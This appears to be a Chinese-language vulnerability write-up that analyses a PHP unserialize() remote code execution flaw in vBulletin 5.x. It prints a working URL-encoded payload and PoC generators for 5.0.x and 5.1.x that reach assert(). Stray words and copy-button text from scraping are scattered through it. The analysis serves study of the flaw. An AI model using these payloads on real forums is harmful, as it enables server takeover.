RickGray · 2015/11/10 12:04 php
Author: RickGray (知道創宇404安全實驗室)mysql
近日,vBulletin 的一枚 RCE 利用和簡要的分析被曝光,產生漏洞的緣由源於 vBulletin 程序在處理 Ajax API 調用的時候,使用 unserialize()
對傳遞的參數值進行了反序列化操做,致使攻擊者使用精心構造出的 Payload 直接致使代碼執行。關於 PHP 中反序列化漏洞的問題能夠參考 OWASP 的《PHP Object Injection》。ajax
使用 原文 提供的 Payload 能夠直接在受影響的站點上執行 phpinfo(1)
:sql
具體 Payload 的構造過程也文中有所說起,可是筆者在對 vBulletin 5.1.x 版本進行測試的時候,發現本來的 Payload 並不能成功,甚是疑惑。然而在深刻分析後,發如今具體利用的時候還須要結合 vBulletin 程序自己的一些代碼結構才能獲得一個較爲通用的 Payload,經過下面的分析後就可以明白。api
雖然這次漏洞 unserialize()
函數的觸發在曝光的文章中已經描述的很清楚了,而且對整個關鍵代碼的觸發流程也進行了說明,可是在深刻跟蹤和分析時,以爲仍是有值得注意和學習的地方。安全
http://172.16.96.130/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D
複製代碼
經過觀察服務端在處理PHP時的調用棧,可知服務端在處理上述請求時,會將 ajax/api/hook/decodeArguments
做爲路由參數 $_REQUEST['routestring']
傳遞給地址路由處理過程。因其符合 ajax/api/[controller]/[method]
的 Ajax API 請求路由格式,會再調用 vB5_Frontend_ApplicationLight
實例中的 handleAjaxApi()
函數來進行相應的模塊加載並調用處理函數:函數
#!php
protected function handleAjaxApi()
{
$routeInfo = explode('/', $_REQUEST['routestring']);
if (count($routeInfo) < 4)
{
throw new vB5_Exception_Api('ajax', 'api', array(), 'invalid_request');
}
$params = array_merge($_POST, $_GET);
$this->sendAsJson(Api_InterfaceAbstract::instance(Api_InterfaceAbstract::API_LIGHT)->callApi($routeInfo[2], $routeInfo[3], $params, true));
}
複製代碼
請求的 ajax/api/hook/decodeArguments
會實例化 hook
類而後調用 decodeArguments()
函數,原文中所說起的觸發點就在此處:學習
#!php
public function decodeArguments($arguments)
{
if ($args = @unserialize($arguments))
{
$result = '';
foreach ($args AS $varname => $value)
{
$result .= $varname;
複製代碼
經過反序列化,咱們可使之能生成在執行環境上下文中已經定義好了的類實例,並經過尋找一個含有 __wakeup()
或者 __destruct()
魔術方法存在問題的類來進行利用。而後原文中所提到的利用方法並非這樣,其使用的是繼承於 PHP 迭代器類型的 vB_dB_Result
類,因爲 $args = @unserialize($arguments)
產生了一個迭代器 vB_dB_Result
類實例,所以在後面進行 foreach
操做時會首先調用其 rewind()
函數。測試
而在 rewind()
函數處理過程當中,會根據實例變量狀態進行調用:this
#!php
public function rewind()
{
if ($this->recordset)
{
$this->db->free_result($this->recordset);
}
複製代碼
這裏就能夠經過反序列化來控制 $this->recordset
的值,而且 $this->db->free_result
最終會調用:
#!php
function free_result($queryresult)
{
$this->sql = '';
return @$this->functions['free_result']($queryresult);
}
複製代碼
$this->functions['free_result']
本來的初始化值爲 mysql_free_result
,可是因爲反序列化的緣由,咱們也能控制 vB_dB_Result
類實例中的 db
成員,更改其對應的 functions['free_result']
爲咱們想要執行的函數,所以一個任意代碼執行就產生了。
觀察一下原文中提供的 Payload 構造 PoC:
#!php
<?php
class vB_Database {
public $functions = array();
public function __construct() {
$this->functions['free_result'] = 'phpinfo';
}
}
class vB_dB_Result {
protected $db;
protected $recordset;
public function __construct() {
$this->db = new vB_Database();
$this->recordset = 1;
}
}
print urlencode(serialize(new vB_dB_Result())) . "\n";
複製代碼
經過第一部分的分析,咱們已經清楚了整個漏洞的函數調用過程和緣由,而且也已經得知哪些參數能夠獲得控制和利用。所以這裏咱們修改 $this->functions['free_result'] = 'assert';
和 $this->recordset = 'var_dump(md5(1))';
,最終遠程代碼執行的的函數則會是 assert('var_dump(md5(1))')
:
這個時候其實 RCE 已經很是的順利了,可是在進行測試的時候卻發現了原文所提供的 PoC 只能復現 5.0.x 版本的 vBulletin,而 5.1.x 版本的卻不能夠。經過本地搭建測試環境,並使用一樣的 PoC 去測試,發如今 5.1.x 版本中 vB_Database
被定義成了抽象類:
#!php
abstract class vB_Database
{
/**
* The type of result set to return from the database for a specific row.
*/
複製代碼
抽象類是不能直接進行實例化的,原文提供的 PoC 倒是實例化的 vB_Database
類做爲 vB_dB_Result
迭代器成員 db
的值,在服務端進行反序列化時會由於須要恢復實例爲抽象類而致使失敗:
這就是爲何在 5.1.x 版本上 PoC 會不成功的緣由。而後要解決這個問題也很容易,經過跟蹤調用棧,發現程序在反序列化未定義類時會調用程序註冊的 autoload()
方法去動態加載類文件。這裏 vBulletin 會依次調用 includes/vb5/autoloader.php
中的 _autoload
方法和 core/vb/vb.php
中的 autoload()
方法,成功加載即返回,失敗則反序列化失敗。因此要想繼續使用原有 PoC 的思路來讓反序列化後會執行 $this->db->free_result($this->recordset);
則須要找到一個繼承於 vB_Database
抽象類的子類而且其源碼文件路徑可以在 autoload 過程當中獲得加載。
經過搜索,發現有以下類繼承於 vB_Database
抽象類及其源碼對應的路徑:
而終代碼進行進行 autoload 的時候會解析傳遞的類名來動態構造嘗試加載的源碼文件路徑:
#!php
...省略
$fname = str_replace('_', '/', strtolower($class)) . '.php';
foreach (self::$_paths AS $path)
{
if (file_exists($path . $fname))
{
include($path . $fname);
if (class_exists($class, false))
{
return true;
}
複製代碼
上面這段代碼存在於第一次調用的 __autoload()
裏,能夠看到對提供的類名以 _
進行了拆分,動態構造了加載路徑(第二次 autoload() 的過程大體相同),簡單分析一下就能夠發現只有在反序列化 vB_Database_MySQL
和 vB_Database_MySQLi
這兩個基於 vB_Database
抽象類的子類時,才能成功的動態加載其類定義所在的源碼文件使得反序列化成功執行,最終才能控制參數進行任意代碼執行。
因此,針對 5.1.x 版本 vBulletin 的 PoC 就能夠獲得了,使用 vB_Database_MySQL
或者 vB_Database_MySQLi
做爲迭代器 vB_dB_Result
成員 db
的值便可。具體 PoC 以下:
#!php
<?php
class vB_Database_MySQL {
public $functions = array();
public function __construct() {
$this->functions['free_result'] = 'assert';
}
}
class vB_dB_Result {
protected $db;
protected $recordset;
public function __construct() {
$this->db = new vB_Database_MySQL();
$this->recordset = 'print("This Vuln In 5.1.7")';
}
}
print urlencode(serialize(new vB_dB_Result())) . "\n";
複製代碼
測試一下,成功執行 assert('print("This Vuln In 5.1.7")')
:
固然了,PoC 不止上面所提供的這一種寫法,僅供參考而已。
這次 vBulletin 5.x.x RCE 漏洞的曝光,從尋找觸發點到對象的尋找,再到各類自動加載細節,不得不說是一個很好的 PHP 反序列化漏洞實戰實例。不仔細去分析真的不能發現原做者清晰的思路和對程序的熟悉程度。
另外,Check Point 在其官方博客上也公佈了反序列化的另外一個利用點,經過反序列化出一個模版對象最終調用 eval()
函數進行執行(原文)。